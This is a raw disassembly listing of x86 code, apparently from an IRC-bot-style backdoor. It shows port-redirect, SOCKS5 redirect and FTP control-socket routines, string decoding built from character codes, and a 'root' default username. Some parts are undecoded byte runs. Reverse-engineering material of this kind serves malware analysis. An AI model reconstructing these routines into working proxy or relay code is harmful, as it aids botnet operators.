db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CB70 proc near ; CODE XREF: sub_4019F1j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42CB70
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017EE
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014DD
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 24h
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42CDA8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
nop
call near ptr 71AB2B66h
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_42CC5B
mov edx, [esi+9Dh]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42CC5B: ; CODE XREF: sub_42CB70+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42CD54
loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jz loc_42CD35
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42CD35
xor edi, edi
cmp ebp, edi
jz loc_42CD35
push 0A9h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42CCD5
mov ecx, eax
call sub_40166D
mov edi, eax
loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FDC
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FDC
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013DE
loc_42CD35: ; CODE XREF: sub_42CB70+111j
; sub_42CB70+133j ...
push 0FAh
nop
call near ptr 2830000h
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42CC6F
loc_42CD54: ; CODE XREF: sub_42CB70+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42CD66
push eax
call near ptr 71AB9639h
nop
loc_42CD66: ; CODE XREF: sub_42CB70+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017EE
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 24h
loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42CB70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42CE60 proc near ; CODE XREF: sub_402202j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_42CE60 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+38h]
push 12h
push edx
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+3Ch]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+40h]
push 12h
push eax
call sub_4019C4
add esp, 40h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+44h]
push 12h
push edx
call sub_4019C4
add esp, 44h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+54h]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D150: ; CODE XREF: ___:loc_40204Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43D0A4
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42D2B7
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h
dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch
dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h
dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
dd 30000h, 7FE80000h, 50FFFD45h, 7EECA3E8h, 0C4839077h
dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah
dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h
db 41h, 0FDh, 0FFh
; ---------------------------------------------------------------------------
loc_42D2B7: ; CODE XREF: ___:0042D18Dj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D3E7
push 9Dh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42D2FE
mov ecx, eax
call sub_401898
mov edi, eax
jmp short loc_42D300
; ---------------------------------------------------------------------------
loc_42D2FE: ; CODE XREF: ___:0042D2F1j
xor edi, edi
loc_42D300: ; CODE XREF: ___:0042D2FCj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D3E7: ; CODE XREF: ___:0042D2CAj
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D510
push 0A2h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42D42E
mov ecx, eax
call sub_4018ED
mov edi, eax
jmp short loc_42D430
; ---------------------------------------------------------------------------
loc_42D42E: ; CODE XREF: ___:0042D421j
xor edi, edi
loc_42D430: ; CODE XREF: ___:0042D42Cj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_40150A
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42D4DE
mov byte ptr [edi+9Dh], 1
jmp short loc_42D4E5
; ---------------------------------------------------------------------------
loc_42D4DE: ; CODE XREF: ___:0042D4D3j
mov byte ptr [edi+9Dh], 0
loc_42D4E5: ; CODE XREF: ___:0042D4DCj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42D510: ; CODE XREF: ___:0042D3FAj
lea ecx, [ebp+8Eh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D5DD
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42D55A
mov ecx, eax
call sub_40218A
mov edi, eax
jmp short loc_42D55C
; ---------------------------------------------------------------------------
loc_42D55A: ; CODE XREF: ___:0042D54Dj
xor edi, edi
loc_42D55C: ; CODE XREF: ___:0042D558j
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D5DD: ; CODE XREF: ___:0042D526j
lea ecx, [ebp+0BCh]
call sub_4014DD
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42D809
lea ecx, [esp+30h]
call sub_40142E
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_40142E
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017EE
push eax
lea ecx, [esp+1Ch]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014DD
cmp eax, offset byte_448F40
jnz short loc_42D6BF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6BF: ; CODE XREF: ___:0042D6AFj
lea ecx, [esp+18h]
call sub_4014DD
cmp eax, offset byte_448F40
jnz short loc_42D6DD
push offset byte_448F40
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6DD: ; CODE XREF: ___:0042D6CDj
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
mov edi, dword_511B14
push eax
call edi ; atoi
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401870
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401870
push offset asc_444600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
push eax
call sub_401C2B
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42D809: ; CODE XREF: ___:0042D5FCj
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42D826
mov [ebp+11Ch], al
loc_42D826: ; CODE XREF: ___:0042D81Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DA00: ; CODE XREF: ___:004021CBj
push ecx
mov edx, dword_449A5D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42DA21
inc ecx
mov [eax+118h], ecx
loc_42DA21: ; CODE XREF: ___:0042DA18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+4]
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA80 proc near ; CODE XREF: sub_401E1Fj
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_438244
sub_42DA80 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 900D8B19h, 5000511Ah, 6840C183h, 4473D8h, 64E89051h
dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42DAD0: ; CODE XREF: ___:00401D8Ej
mov eax, [esp+4]
test eax, eax
jz short loc_42DAE3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42DAE3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42DAE3: ; CODE XREF: ___:0042DAD6j
; ___:0042DADDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DB00 proc near ; CODE XREF: sub_401A7Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_12 = word ptr 16h
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
call near ptr 77C46125h
nop
mov ebp, eax
push 3Ah
push ebp
nop
call near ptr 77C47660h
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42DB74
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_43828C
; ---------------------------------------------------------------------------
dd 6C75C33Bh, 44742C68h, 8BE89000h, 83778092h, 0C03304C4h
dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------
loc_42DB74: ; CODE XREF: sub_42DB00+47j
mov [esi], bl
mov eax, dword_511A7C
inc esi
cmp dword ptr [eax], 1
jle short loc_42DB92
movsx ecx, byte ptr [esi]
push 4
push ecx
nop
call near ptr 77C1C561h
add esp, 8
jmp short loc_42DBA2
; ---------------------------------------------------------------------------
loc_42DB92: ; CODE XREF: sub_42DB00+7Fj
mov eax, dword_511B1C
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_42DBA2: ; CODE XREF: sub_42DB00+90j
cmp eax, ebx
jz short loc_42DBBD
push esi
call near ptr 77C1BF18h
nop
add esp, 4
push eax
call sub_43822C
; ---------------------------------------------------------------------------
mov [esp+arg_12], ax
jmp short sub_42DBD1
; ---------------------------------------------------------------------------
loc_42DBBD: ; CODE XREF: sub_42DB00+A4j
push offset aTcp ; "tcp"
push esi
call sub_43828C
sub_42DB00 endp
; ---------------------------------------------------------------------------
mov dx, [eax+8]
mov [esp+16h], dx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj
push ebp
call sub_4381EA
sub_42DBD1 endp
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
mov [esp+18h], eax
jnz short loc_42DC1D
push ebp
call sub_4381DE
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 1C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42DC1D: ; CODE XREF: ___:0042DBDEj
push ebp
mov ebp, dword_511AD0
call ebp ; free
add esp, 4
push 6
push 1
push 2
call sub_438232
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 447414h, 8091ADE8h, 0C4839077h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 44740468h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
dd 72046807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
dd 83F08B77h, 0F33B08C4h, 0FC681E75h, 90004473h, 809145E8h
dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
dd 200068h, 0E73DE800h, 8390777Fh, 0C33B04C4h, 75144689h
dd 73FC6824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DE00 proc near ; CODE XREF: sub_42F2C0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE3A
loc_42DE22: ; CODE XREF: sub_42DE00+8Ej
; sub_42DE00+D9j
push offset aControlSocketR ; "Control socket read failed"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DE3A: ; CODE XREF: sub_42DE00+20j
mov eax, dword_5103B8
mov ebx, dword_511A8C
cmp eax, 1
jle short loc_42DE5E
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx ; fprintf
add esp, 0Ch
loc_42DE5E: ; CODE XREF: sub_42DE00+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42DEDE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
nop
call near ptr 77C47A90h
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42DF40
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42DE22
mov ebp, dword_511AE0
loc_42DE96: ; CODE XREF: sub_42DE00+D7j
cmp dword_5103B8, 1
jle short loc_42DEB4
mov edx, dword_511A90
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx ; fprintf
add esp, 0Ch
loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_42DEDE
push edi
push 100h
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE96
jmp loc_42DE22
; ---------------------------------------------------------------------------
loc_42DEDE: ; CODE XREF: sub_42DE00+62j
; sub_42DE00+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42DE00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p
; sub_42DE00+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42DF70
cmp eax, 1
jz short loc_42DF70
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF70: ; CODE XREF: sub_42DF40+1Ej
; sub_42DF40+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42DF82
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF82: ; CODE XREF: sub_42DF40+36j
; sub_42DF40+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42DFD3
cmp ebx, edi
jge short loc_42DF90
lea edi, [ebx-1]
loc_42DF90: ; CODE XREF: sub_42DF40+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
call near ptr 77C46170h
nop
add esp, 10h
test eax, eax
jz short loc_42DFA9
mov edi, eax
sub edi, ebp
loc_42DFA9: ; CODE XREF: sub_42DF40+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42E05A
loc_42DFD3: ; CODE XREF: sub_42DF40+47j
cmp ebx, 1
jz loc_42E0AD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42DFFB
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42DFFB: ; CODE XREF: sub_42DF40+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42E0C0
push esi
call sub_42E170
add esp, 4
test eax, eax
jz loc_42E0F2
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz loc_42E0DC
test eax, eax
jnz short loc_42E03F
mov [esp+18h+var_4], 1
loc_42E03F: ; CODE XREF: sub_42DF40+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42DF82
; ---------------------------------------------------------------------------
loc_42E05A: ; CODE XREF: sub_42DF40+8Dj
sub ebp, 2
mov esi, offset asc_4471F4 ; "\r\n"
mov eax, ebp
loc_42E064: ; CODE XREF: sub_42DF40+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
test cl, cl
